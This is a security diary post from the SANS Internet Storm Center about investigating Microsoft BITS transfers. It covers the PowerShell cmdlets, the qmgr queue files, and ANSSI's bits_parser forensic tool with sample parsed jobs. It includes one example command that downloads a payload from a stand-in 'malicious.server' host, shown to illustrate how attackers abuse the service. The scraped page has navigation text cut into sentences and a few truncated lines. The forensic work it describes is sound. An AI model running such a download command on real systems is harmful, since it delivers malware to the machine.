Investigating Microsoft BITS Activity

Published: 2018-01-26. **Last Updated**: 2018-01-26 08:32:12 UTC
by Xavier Mertens (Version: 1)

0 comment(s)

Microsoft BITS (“Background Intelligent Transfer Service”) is a tool present[1] in all modern Microsoft Windows operating systems. As the name says, you can see it as a "curl" or "wget" tool for Windows. It helps to transfer files between a server and a client but it also has plenty of interesting features. Such a tool, being always available, is priceless for attackers. They started to use BITS to grab malicious contents from the Internet. In May 2016, I wrote a diary about a piece of malware

Homepage
Diaries
Podcasts
Jobs
Data
Tools
Contact Us
About Us

Slack Channel
Mastodon
Bluesky
X

like executing a command once the download completed, it can also control the bandwidth used (to remain stealthy).

Previously, there was a command ‘bitsadmin’ available to manage transfers with BITS but it has been deprecated and replaced by a complete integration with PowerShell:

```
PS C:\> Import-Module BitsTransfer
PS C:\> Get-Command  *-bits*

CommandType     Name
-----------     ----
Cmdlet          Add-BitsFile
Cmdlet          Complete-BitsTransfer
Cmdlet          Get-BitsTransfer
Cmdlet          Remove-BitsTransfer
Cmdlet          Resume-BitsTransfer
Cmdlet          Set-BitsTransfer
Cmdlet          Start-BitsTransfer
Cmdlet          Suspend-BitsTransfer    yield from self.parse()
```

To create a BITS jobs, just do this:

```
Start-BitsTransfer -Source http://malicious.server/payload.exe -Destina
```

Note that BITS is used by many third-party tools to download their own updates like AcrobatReader.

BITS is fully integrated within the Microsoft OS and generates events in the EventLog but everybody knows that such pieces of evidence can be easily cleared by the attackers. How to investigate an incident involving file transfer performed via BITS? French researchers from ANSSI[3] had a look at the queue manager files created

Homepage
Diaries
Podcasts
Jobs
Data
Tools
Contact Us
About Us

Slack Channel
Mastodon
Bluesky
X

r (Administrative rights are required to access them).

```
C:\ProgramData\Microsoft\Network\Downloader>dir
 Volume in drive C has no label.
 Volume Serial Number is CC68-E0A2

 Directory of C:\ProgramData\Microsoft\Network\Downloader

03/10/2016  18:04    <DIR>          .
03/10/2016  18:04    <DIR>          ..
25/01/2018  18:18         4.194.304 qmgr0.dat
25/01/2018  18:18         4.194.304 qmgr1.dat
               2 File(s)      8.388.608 bytes
               2 Dir(s)      15.106.048 bytes free
```

Microsoft does not communicate a lot of information about the format of the file and the ANSSI researchers did a nice job to reverse engineer the format and to create a tool to parse them. The tool is called bits_parser[4].

Let’s install it using pip and check the available options:

```
# bits_parser -h
Extract BITS jobs from QMGR queue or disk image to CSV file.

Usage:
  bits_parser [options] [-o OUTPUT] FILE

Options:
  --no-carving                           Disable carving.

  --disk-image, -i                       Data input is a disk image.
  --radiance=VALUE                       Radiance in kB. [default: 2048]
  --skip-sampling                        Skip sampling and load file in me
  --checkpoint=PATH                      Store disk checkpoint file.
  --debug                              Display debug messages.

  --help, -h                           Show this screen.
  --version                            Show version.

# bits_parser -o test.csv qmgr0.dat
```

Here are two examples of BITS jobs results (one carved, the second not). I reformatted the CSV file for more readibility:

job_id	fd80a460-ec19-421a-a014-11d4881c1e5c
name	WU Client Download
desc	
type	download
priority	high
sid	S-1-5-18
state	suspended
cmd	
args	
file_count	1
file_id	0
dest_fn	C:\Windows\SoftwareDistribution\Download\087417a132f6f4ad6d49797863745d14\374d740218c5a5bdb142754037ca67cce76d6bbf
src_fn	http://download.windowsupdate.com/c/msdownload/update/software/defu/2018/01/am_delta_374d740218c5a5bdb142754037ca67cce76d6bbf.exe
tmp_fn	C:\Windows\SoftwareDistribution\Download\087417a132f6f4ad6d49797863745d14\BIT687A.tmp
download_si	0

drive	C:\
vol_guid	\\?\Volume{7544f408-ea0d-11e0-8a32-806e6f6e6963}\
ctime	2018-01-24 20:36:07.198336,
mtime	2018-01-25 17:06:37.530274
other_time0	2018-01-25 17:06:37.530274
other_time1	2018-01-25 17:06:37.530274
other_tome2	2018-04-25 17:06:37.530274
carved	False

job_id	
name	
desc	
type	
priority	
sid	
state	
cmd	
args	1
file_count	0
file_id	0
dest_fn	C:\Windows\SoftwareDistribution\Download\76f6d3e62f7962922156b604ab456dd4\c0e8dfa3b6ae8d77fb171525b9491311a53a1b85
src_fn	http://download.windowsupdate.com/d/msdownload/update/software/defu/2018/01/nis_delta_patch_c0e8dfa3b6ae

Homepage
Diaries
Podcasts
Jobs
Data
Tools
Contact Us
About Us

Slack Channel
Mastodon
Bluesky
X

n	62922156b604ab456dd4\BIT6958.tmp	
download_size	0	
transfer_size	276240	
drive	C:\	
vol_guid	\\?\Volume{7544f408-ea0d-11e0-8a32-806e6f6e6963}\	
ctime	2018-01-24 20:36:07.417086	
mtime	2018-01-25 17:10:44.264648	
other_time0	2018-01-25 17:06:48.764648	
other_time1	2018-01-25 17:06:48.764648	
other_tome2	2018-04-25 17:06:48.764648	
carved	True	

Good to know, BITS uses a dedicated User-Agent string, easy to spot in our log files:

```
Microsoft BITS/x.x
```

"x.x" is the version, currently 7.5.

If you're performing investigations involving Windows systems, you should definitively keep an eye on BITS and add bits_parser in your toolbox.

[1] https://msdn.microsoft.com/en-us/library/windows/desktop/bb968799(v=vs.85).aspx
[2] https://isc.sans.edu/forums/diary/Microsoft+BITS+Used

[4] https://github.com/ANSSI-FR/bits_parser

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

Keywords: bits download forensics malware microsoft tool transfer

0 comment(s)

previous next

Comments

Login here to join the discussion.

Top of page

Diary Archives

Homepage
Diaries
Podcasts
Jobs
Data
Tools
Contact Us
About Us

Slack Channel
Mastodon
Bluesky
X

SANS Technology Institute Internet Storm Center

Sign In Sign Up

Link To Us About Us Handlers Privacy Policy

- Homepage
- Diaries
- Podcasts
- Jobs
- Data
- Tools
- Contact Us
- About Us

Slack Channel

Mastodon

Bluesky

X